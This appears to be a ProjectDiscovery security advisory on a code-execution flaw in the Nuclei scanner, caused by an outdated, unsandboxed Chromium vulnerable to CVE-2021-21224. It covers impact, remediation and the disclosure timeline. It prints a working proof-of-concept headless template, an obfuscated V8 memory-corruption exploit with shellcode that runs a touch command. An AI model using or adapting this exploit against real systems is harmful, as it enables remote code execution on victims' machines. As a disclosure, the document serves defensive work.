-

4 min read

Nuclei v2.5.2 - First Security Release

Nuclei v2.5.2 - First Security Release

We'd like to thank @c3l3si4n for disclosing the first security vulnerability that affects nuclei. This blog describes a brief overview of the security issue/impact and the measures we took to address it.

Issue Summary

The nuclei engine has a code execution vulnerability using components with known vulnerabilities that can be exploited by utilizing a specially crafted headless based template.

Root Cause

Nuclei relies on the go-rod library for a high level browser driver to run templates that require headless mode. Nuclei <=v2.5.1 was using an outdated version of the rod library, which downloaded an outdated chromium browser vulnerable to CVE-2021-21224. The library compiled the headless mode by default with the no-sandbox browser flag in Linux environments.

It was possible to execute code on the system by exploiting CVE-2021-21224 + no-sandbox behavior and a specially crafted template.

Below you can find a template containing a POC, shared by @c3l3si4n that executes the touch /tmp/rce_on_nuclei command on the host machine.

yaml

1id: nuclei-rce
2
3info:
4  name: Nuclei Template RCE by Chromium
5  author: c3l3si4n
6  severity: critical
7  tags: rce,hackback
8
9headless:
10  - steps:
11      - args:
12          url: "{{BaseURL}}"
13          action: navigate
14      - action: waitload
15      - action: script
16        name: poc
17        args:
18          code: |
19            '\n' + (()=>{function gc(){for(var r=0;r<524288;++r)new ArrayBuffer}let shellcode=[72,184,47,98,105,110,47,115,104,0,153,80,84,95,82,102,104,45,99,84,94,82,232,25,0,0,0,116,111,117,99,104,32,47,116,109,112,47,114,99,101,95,111,110,95,110,117,99,108,101,105,0,86,87,84,94,106,59,88,15,5];var wasmCode=new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]),wasmModule=new WebAssembly.Module(wasmCode),wasmInstance=new WebAssembly.Instance(wasmModule),main=wasmInstance.exports.main,bf=new ArrayBuffer(8),bfView=new DataView(bf);function fLow(r){return bfView.setFloat64(0,r,!0),bfView.getUint32(0,!0)}function fHi(r){return bfView.setFloat64(0,r,!0),bfView.getUint32(4,!0)}function i2f(r,e){return bfView.setUint32(0,r,!0),bfView.setUint32(4,e,!0),bfView.getFloat64(0,!0)}function f2big(r){return bfView.setFloat64(0,r,!0),bfView.getBigUint64(0,!0)}function big2f(r){return bfView.setBigUint64(0,r,!0),bfView.getFloat64(0,!0)}class LeakArrayBuffer extends ArrayBuffer{constructor(r){super(r),this.slot=45887}}function foo(r){let e=-1;r&&(e=4294967295);var t=new Array(Math.sign(0-Math.max(0,e,-1)));t.shift();let a=Array(2);a[0]=5.1;let f=new LeakArrayBuffer(4096);return t[0]=4386,[t,a,f]}for(var i=0;i<65536;++i)foo(!1);function setbackingStore(r,e){rwarr[4]=i2f(fLow(rwarr[4]),r),rwarr[5]=i2f(e,fHi(rwarr[5]))}function leakObjLow(r){return corrupt_buff.slot=r,fLow(rwarr[9])-1}gc(),gc(),[corrput_arr,rwarr,corrupt_buff]=foo(!0),corrput_arr[12]=140356,delete corrput_arr;let corrupt_view=new DataView(corrupt_buff),corrupt_buffer_ptr_low=leakObjLow(corrupt_buff),idx0Addr=corrupt_buffer_ptr_low-16,baseAddr=(4294901760&corrupt_buffer_ptr_low)-(4294901760&corrupt_buffer_ptr_low)%262144+262144,delta=baseAddr+28-idx0Addr;if(delta%8==0){let r=delta/8;this.base=fLow(rwarr[r])}else{let r=(delta-delta%8)/8;this.base=fHi(rwarr[r])}let wasmInsAddr=leakObjLow(wasmInstance);setbackingStore(wasmInsAddr,this.base);let code_entry=corrupt_view.getFloat64(104,!0);setbackingStore(fLow(code_entry),fHi(code_entry));for(let r=0;r<shellcode.length;r++)corrupt_view.setUint8(r,shellcode[r]);main();})() + '\n'

Security Impact

Running an unverified, headless-based custom template could lead to system-level code execution. Please note that all of our public templates are triaged by our security team in order to prevent such use-cases and false-positives.

Nuclei comes with headless mode disabled by default. In order to run templates that require a headless browser, the -headless flag must be explicitly provided.

Is the remote code execution exploitable remotely by default?
No, headless mode is disabled by default.

Remediation

To address this vulnerability, we've upgraded the version of the go-rod library that downloads the most recent version of the chromium-browser.

Use the nuclei -update command to update the engine to the most recent version i.e v2.5.2. Alternatively, the below command can be used to install/update to the latest version.

cli

1go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

Report timeline

Date Action
Sep 8, 2021, 2:50 AM We received a report at security@projectdiscovery.io
Sep 9, 2021, 11:26 PM We acknowledged and confirmed the report
Sep 18, 2021, 6:46 PM We pushed a new release and informed @c3l3si4n
Sep 19, 2021, 1:56 AM We received fix confirmation from @c3l3si4n

Recommendation

It is strongly recommended not to run third-party templates without verifying them first. The payloads of certain templates may perform undesired actions on your target machines, which can result in various issues like DOS.

The ProjectDiscovery team ensures that no templates with unintended consequences are merged into the nuclei-templates project, however if you are using templates outside the official public repository, please review them thoroughly before executing them with nuclei.

Follow @pdnuclei on Twitter for future updates, and if you have any questions, reach out to us on our Discord server at https://discord.gg/projectdiscovery.